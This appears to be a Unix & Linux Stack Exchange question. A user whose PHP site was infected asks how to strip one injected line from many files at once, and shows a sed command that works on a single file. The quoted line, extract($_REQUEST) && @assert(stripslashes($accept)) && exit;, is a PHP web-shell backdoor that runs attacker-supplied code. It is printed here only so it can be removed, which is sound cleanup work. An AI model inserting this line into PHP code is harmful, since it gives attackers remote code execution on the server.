Skip to main content
edited tags
Link
Jeff Schaller
  • 68.8k
  • 35
  • 122
  • 264
Source Link
JPashs
  • 129
  • 1
  • 6

Linux command to find and remove text from several files at once

I have my site infected by a virus. This virus added this line in several files in my site. My idea is to remove this line of text with a unique command from the terminal.

Let's say I have the folder 'my-folder' and inside it, my files: 'file-1.php', 'file-2.php' and so on.

And, let's say there are several files infected.

Is there a command to find and remove this line of code in several file at once?

Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;

I found this, but it only works with a single file:

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

Can I do this?